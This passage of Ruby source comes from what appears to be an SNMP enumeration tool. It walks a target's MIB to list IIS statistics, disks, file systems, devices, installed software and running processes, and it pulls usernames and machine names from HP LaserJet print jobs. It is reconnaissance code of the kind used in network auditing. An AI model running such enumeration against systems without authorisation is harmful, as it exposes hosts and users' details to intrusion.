633 iis["TotalNonAnonymousUsers"] = http_totalNonAnonymousUsers
634 end
635
636 http_maxAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0')
637 if http_maxAnonymousUsers.to_s !~ /Null/
638 iis["MaxAnonymousUsers"] = http_maxAnonymousUsers
639 end
640
641 http_maxNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0')
642 if http_maxNonAnonymousUsers.to_s !~ /Null/
643 iis["MaxNonAnonymousUsers"] = http_maxNonAnonymousUsers
644 end
645
646 http_currentConnections = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0')
647 if http_currentConnections.to_s !~ /Null/
648 iis["CurrentConnections"] = http_currentConnections
649 end
650
651 http_maxConnections = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0')
652 if http_maxConnections.to_s !~ /Null/
653 iis["MaxConnections"] = http_maxConnections
654 end
655
656 http_connectionAttempts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0')
657 if http_connectionAttempts.to_s !~ /Null/
658 iis["ConnectionAttempts"] = http_connectionAttempts
659 end
660
661 http_logonAttempts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0')
662 if http_logonAttempts.to_s !~ /Null/
663 iis["LogonAttempts"] = http_logonAttempts
664 end
665
666 http_totalGets = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0')
667 if http_totalGets.to_s !~ /Null/
668 iis["Gets"] = http_totalGets
669 end
670
671 http_totalPosts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0')
672 if http_totalPosts.to_s !~ /Null/
673 iis["Posts"] = http_totalPosts
674 end
675
676 http_totalHeads = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0')
677 if http_totalHeads.to_s !~ /Null/
678 iis["Heads"] = http_totalHeads
679 end
680
681 http_totalOthers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0')
682 if http_totalOthers.to_s !~ /Null/
683 iis["Others"] = http_totalOthers
684 end
685
686 http_totalCGIRequests = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0')
687 if http_totalCGIRequests.to_s !~ /Null/
688 iis["CGIRequests"] = http_totalCGIRequests
689 end
690
691 http_totalBGIRequests = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0')
692 if http_totalBGIRequests.to_s !~ /Null/
693 iis["BGIRequests"] = http_totalBGIRequests
694 end
695
696 http_totalNotFoundErrors = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0')
697 if http_totalNotFoundErrors.to_s !~ /Null/
698 iis["NotFoundErrors"] = http_totalNotFoundErrors
699 end
700
701 if not iis.empty?
702 output_data["IIS server information"] = iis
703 end
704 end
705
706 storage_information = []
707
708 manager.walk([
709 "1.3.6.1.2.1.25.2.3.1.1","1.3.6.1.2.1.25.2.3.1.2","1.3.6.1.2.1.25.2.3.1.3",
710 "1.3.6.1.2.1.25.2.3.1.4","1.3.6.1.2.1.25.2.3.1.5","1.3.6.1.2.1.25.2.3.1.6"
711 ]) do |index,type,descr,allocation,size,used|
712
713 case type.value.to_s
714 when /^1.3.6.1.2.1.25.2.1.1$/
715 type.value = "Other"
716 when /^1.3.6.1.2.1.25.2.1.2$/
717 type.value = "Ram"
718 when /^1.3.6.1.2.1.25.2.1.3$/
719 type.value = "Virtual Memory"
720 when /^1.3.6.1.2.1.25.2.1.4$/
721 type.value = "Fixed Disk"
722 when /^1.3.6.1.2.1.25.2.1.5$/
723 type.value = "Removable Disk"
724 when /^1.3.6.1.2.1.25.2.1.6$/
725 type.value = "Floppy Disk"
726 when /^1.3.6.1.2.1.25.2.1.7$/
727 type.value = "Compact Disc"
728 when /^1.3.6.1.2.1.25.2.1.8$/
729 type.value = "RamDisk"
730 when /^1.3.6.1.2.1.25.2.1.9$/
731 type.value = "Flash Memory"
732 when /^1.3.6.1.2.1.25.2.1.10$/
733 type.value = "Network Disk"
734 else
735 type.value = "unknown"
736 end
737
738 allocation.value = "unknown" if allocation.value.to_s =~ /noSuchInstance/
739 size.value = "unknown" if size.value.to_s =~ /noSuchInstance/
740 used.value = "unknown" if used.value.to_s =~ /noSuchInstance/
741
742 storage_information.push([[descr.value],[index.value],[type.value],[allocation.value],[size.value],[used.value]])
743 end
744
745 if not storage_information.empty?
746 storage = []
747 storage_information.each {|a,b,c,d,e,f|
748 s = {}
749
750 e = number_to_human_size(e,d)
751 f = number_to_human_size(f,d)
752
753 s["Description"]= a
754 s["Device id"] = b
755 s["Filesystem type"] = c
756 s["Device unit"] = d
757 s["Memory size"] = e
758 s["Memory used"] = f
759
760 storage.push(s)
761 }
762 output_data["Storage information"] = storage
763 end
764
765 file_system = {}
766
767 hrFSIndex = manager.get_value('1.3.6.1.2.1.25.3.8.1.1.1')
768 if hrFSIndex.to_s !~ /Null/
769 file_system["Index"] = hrFSIndex
770 end
771
772 hrFSMountPoint = manager.get_value('1.3.6.1.2.1.25.3.8.1.2.1')
773 if hrFSMountPoint.to_s !~ /Null/
774 file_system["Mount point"] = hrFSMountPoint
775 end
776
777 hrFSRemoteMountPoint = manager.get_value('1.3.6.1.2.1.25.3.8.1.3.1')
778 if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/
779 if hrFSRemoteMountPoint.empty?
780 hrFSRemoteMountPoint = '-'
781 end
782 file_system["Remote mount point"] = hrFSRemoteMountPoint
783 end
784
785 hrFSType = manager.get_value('1.3.6.1.2.1.25.3.8.1.4.1')
786
787 case hrFSType.to_s
788 when /^1.3.6.1.2.1.25.3.9.1$/
789 hrFSType = "Other"
790 when /^1.3.6.1.2.1.25.3.9.2$/
791 hrFSType = "Unknown"
792 when /^1.3.6.1.2.1.25.3.9.3$/
793 hrFSType = "BerkeleyFFS"
794 when /^1.3.6.1.2.1.25.3.9.4$/
795 hrFSType = "Sys5FS"
796 when /^1.3.6.1.2.1.25.3.9.5$/
797 hrFSType = "Fat"
798 when /^1.3.6.1.2.1.25.3.9.6$/
799 hrFSType = "HPFS"
800 when /^1.3.6.1.2.1.25.3.9.7$/
801 hrFSType = "HFS"
802 when /^1.3.6.1.2.1.25.3.9.8$/
803 hrFSType = "MFS"
804 when /^1.3.6.1.2.1.25.3.9.9$/
805 hrFSType = "NTFS"
806 when /^1.3.6.1.2.1.25.3.9.10$/
807 hrFSType = "VNode"
808 when /^1.3.6.1.2.1.25.3.9.11$/
809 hrFSType = "Journaled"
810 when /^1.3.6.1.2.1.25.3.9.12$/
811 hrFSType = "iso9660"
812 when /^1.3.6.1.2.1.25.3.9.13$/
813 hrFSType = "RockRidge"
814 when /^1.3.6.1.2.1.25.3.9.14$/
815 hrFSType = "NFS"
816 when /^1.3.6.1.2.1.25.3.9.15$/
817 hrFSType = "Netware"
818 when /^1.3.6.1.2.1.25.3.9.16$/
819 hrFSType = "AFS"
820 when /^1.3.6.1.2.1.25.3.9.17$/
821 hrFSType = "DFS"
822 when /^1.3.6.1.2.1.25.3.9.18$/
823 hrFSType = "Appleshare"
824 when /^1.3.6.1.2.1.25.3.9.19$/
825 hrFSType = "RFS"
826 when /^1.3.6.1.2.1.25.3.9.20$/
827 hrFSType = "DGCFS"
828 when /^1.3.6.1.2.1.25.3.9.21$/
829 hrFSType = "BFS"
830 when /^1.3.6.1.2.1.25.3.9.22$/
831 hrFSType = "FAT32"
832 when /^1.3.6.1.2.1.25.3.9.23$/
833 hrFSType = "LinuxExt2"
834 else
835 hrFSType = "Null"
836 end
837
838 if hrFSType.to_s !~ /Null/
839 file_system["Type"] = hrFSType
840 end
841
842 hrFSAccess = manager.get_value('1.3.6.1.2.1.25.3.8.1.5.1')
843 if hrFSAccess.to_s !~ /Null/
844 file_system["Access"] = hrFSAccess
845 end
846
847 hrFSBootable = manager.get_value('1.3.6.1.2.1.25.3.8.1.6.1')
848 if hrFSBootable.to_s !~ /Null/
849 file_system["Bootable"] = hrFSBootable
850 end
851
852 if not file_system.empty?
853 output_data["File system information"] = file_system
854 end
855
856 device_information = []
857
858 manager.walk([
859 "1.3.6.1.2.1.25.3.2.1.1","1.3.6.1.2.1.25.3.2.1.2",
860 "1.3.6.1.2.1.25.3.2.1.5","1.3.6.1.2.1.25.3.2.1.3"
861 ]) do |index,type,status,descr|
862
863 case type.value.to_s
864 when /^1.3.6.1.2.1.25.3.1.1$/
865 type.value = "Other"
866 when /^1.3.6.1.2.1.25.3.1.2$/
867 type.value = "Unknown"
868 when /^1.3.6.1.2.1.25.3.1.3$/
869 type.value = "Processor"
870 when /^1.3.6.1.2.1.25.3.1.4$/
871 type.value = "Network"
872 when /^1.3.6.1.2.1.25.3.1.5$/
873 type.value = "Printer"
874 when /^1.3.6.1.2.1.25.3.1.6$/
875 type.value = "Disk Storage"
876 when /^1.3.6.1.2.1.25.3.1.10$/
877 type.value = "Video"
878 when /^1.3.6.1.2.1.25.3.1.11$/
879 type.value = "Audio"
880 when /^1.3.6.1.2.1.25.3.1.12$/
881 type.value = "Coprocessor"
882 when /^1.3.6.1.2.1.25.3.1.13$/
883 type.value = "Keyboard"
884 when /^1.3.6.1.2.1.25.3.1.14$/
885 type.value = "Modem"
886 when /^1.3.6.1.2.1.25.3.1.15$/
887 type.value = "Parallel Port"
888 when /^1.3.6.1.2.1.25.3.1.16$/
889 type.value = "Pointing"
890 when /^1.3.6.1.2.1.25.3.1.17$/
891 type.value = "Serial Port"
892 when /^1.3.6.1.2.1.25.3.1.18$/
893 type.value = "Tape"
894 when /^1.3.6.1.2.1.25.3.1.19$/
895 type.value = "Clock"
896 when /^1.3.6.1.2.1.25.3.1.20$/
897 type.value = "Volatile Memory"
898 when /^1.3.6.1.2.1.25.3.1.21$/
899 type.value = "Non Volatile Memory"
900 else
901 type.value = "unknown"
902 end
903
904 case status.value
905 when 1
906 status.value = "unknown"
907 when 2
908 status.value = "running"
909 when 3
910 status.value = "warning"
911 when 4
912 status.value = "testing"
913 when 5
914 status.value = "down"
915 else
916 status.value = "unknown"
917 end
918
919 descr.value = "unknown" if descr.value.to_s =~ /noSuchInstance/
920
921 device_information.push([index.value, type.value, status.value, descr.value])
922 end
923
924 if not device_information.empty?
925 output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information
926 end
927
928 software_list = []
929
930 manager.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name|
931 software_list.push([index.value,name.value])
932 end
933
934 if not software_list.empty?
935 output_data["Software components"] = [["Index","Name"]] + software_list
936 end
937
938 process_interfaces = []
939
940 manager.walk([
941 "1.3.6.1.2.1.25.4.2.1.1","1.3.6.1.2.1.25.4.2.1.2","1.3.6.1.2.1.25.4.2.1.4",
942 "1.3.6.1.2.1.25.4.2.1.5","1.3.6.1.2.1.25.4.2.1.7"
943 ]) do |id,name,path,param,status|
944
945 if status.value == 1
946 status.value = "running"
947 elsif status.value == 2
948 status.value = "runnable"
949 else
950 status.value = "unknown"
951 end
952
953 process_interfaces.push([id.value, status.value, name.value, path.value, param.value])
954 end
955
956 if not process_interfaces.empty?
957 output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces
958 end
959
960 hp_laserjet_printer_enumeration = []
961
962 manager.walk([
963 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1
964 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2
965 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username
966 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name
967 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?)
968 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp
969 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name
970 "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command
971 ]) do |name1,name2,username,client,domain,timestamp,app_name,app_command|
972
973 filename = name1.value.to_s + name2.value.to_s
974
975 if (username.value.to_s !~ /noSuchInstance/)
976 if username.value.to_s =~ /^JobAcct(\d+)=(.*)/
977 username = $2
978 else
979 username = '-'
980 end
981 else
982 username = '-'
983 end
984
985 if (client.value.to_s !~ /noSuchInstance/)
986 if client.value.to_s =~ /^JobAcct(\d+)=(.*)/
987 client = $2
988 else
989 client = '-'
990 end
991 else
992 client = '-'
993 end
994
995 if (domain.value.to_s !~ /noSuchInstance/)
996 if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/
997 domain = $2
998 domain = '-' if domain.empty?
999 else
1000 domain = '-'
1001 end
1002 else
1003 domain = '-'
1004 end
1005
1006 if timestamp.value.to_s !~ /noSuchInstance/
1007 if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/
1008 timestamp = $2
1009 else
1010 timestamp = '-'
1011 end
1012 else
1013 timestamp = nil
1014 end
1015
1016 if (app_name.value.to_s !~ /noSuchInstance/)
1017 if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/
1018 app_name = $2
1019 end
1020 else
1021 app_name = '-'
1022 end
1023
1024 if (app_command.value.to_s !~ /noSuchInstance/)
1025 if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/
1026 app_command = $2
1027 end
1028 else
1029 app_command = '-'
1030 end
1031
1032 if not timestamp.nil?
1033 hp_laserjet_printer_enumeration.push({
1034 "Filename" => filename + "#{filename.length}",
1035 "Username" => username,
1036 "Client" => client,
1037 "Timestamp" => timestamp,
1038 "Domain" => domain,
1039 "Application name" => app_name,
1040 "Application command" => app_command
1041 })
1042 end
1043 end
1044
1045 if not hp_laserjet_printer_enumeration.empty?
1046 output_data["HP LaserJet printer enumeration"] = hp_laserjet_printer_enumeration
1047 end
1048
1049 print_things("System information:","result")
1050 puts
1051
1052 line = ""
1053 width = 30 # name field width
1054 twidth = 32 # table like display cell width
1055
1056 fields_order.each {|k|
1057 if not output_data.has_key?(k)
1058 next
1059 end
1060
1061 v = output_data[k]
1062
1063 case v
1064 when Array
1065 content = ""
1066
1067 v.each{ |a|
1068 case a
1069 when Hash
1070 a.each{ |sk, sv|
1071 sk = truncate_to_twidth(sk, twidth)
1072 content << sprintf(" %s%s: %s\n", sk, " "*([0,width-sk.length].max), sv)
1073 }
1074 content << "\n"
1075 when Array
1076 a.each { |sv|
1077 sv = sv.to_s.strip
1078 content << sprintf(" %-20s", sv)
1079 }
1080 content << "\n"
1081 else
1082 content << sprintf(" %s\n", a)
1083 content << "\n"
1084 end
1085 }
1086
1087 line << "\n[*] #{k}:\n\n#{content}"
1088
1089 when Hash
1090 content = ""
1091 v.each{ |sk, sv|
1092 sk = truncate_to_twidth(sk,twidth)
1093 content << sprintf(" %s%s: %s\n", sk, " "*([0,width-sk.length].max), sv)
1094 }
1095
1096 line << "\n[*] #{k}:\n\n#{content}"
1097 content << "\n"
1098 else
1099 if (v.nil? or v.empty? or v =~ /Null/)
1100 v = '-'
1101 end
1102
1103 k = truncate_to_twidth(k,twidth)
1104 line << sprintf(" %s%s: %s\n", k, " "*([0,width-k.length].max), v)
1105 end
1106 }
1107
1108 puts(line)
1109
1110 end
1111
1112 puts
1113
1114 rescue SNMP::RequestTimeout
1115 print_things("#{target}:#{port} SNMP request timeout","error")
1116 rescue SNMP::ConnectionError
1117 print_things("#{target}:#{port} Connection refused","error")
1118 rescue SNMP::InvalidIpAddress
1119 print_things("#{target}:#{port} Invalid IP Address. Check it with 'snmpwalk tool'","error")
1120 rescue SNMP::UnsupportedVersion
1121 print_things("#{target}:#{port} Unsupported SNMP version specified. Select from '1' or '2c'","error")
1122 rescue ::Interrupt
1123 raise $!
1124 rescue ::Exception => e
1125 print_things("Unknown error: #{e.class} #{e}","error")
1126 print_things("Call stack:\n#{e.backtrace.join "\n"}","error")
1127 end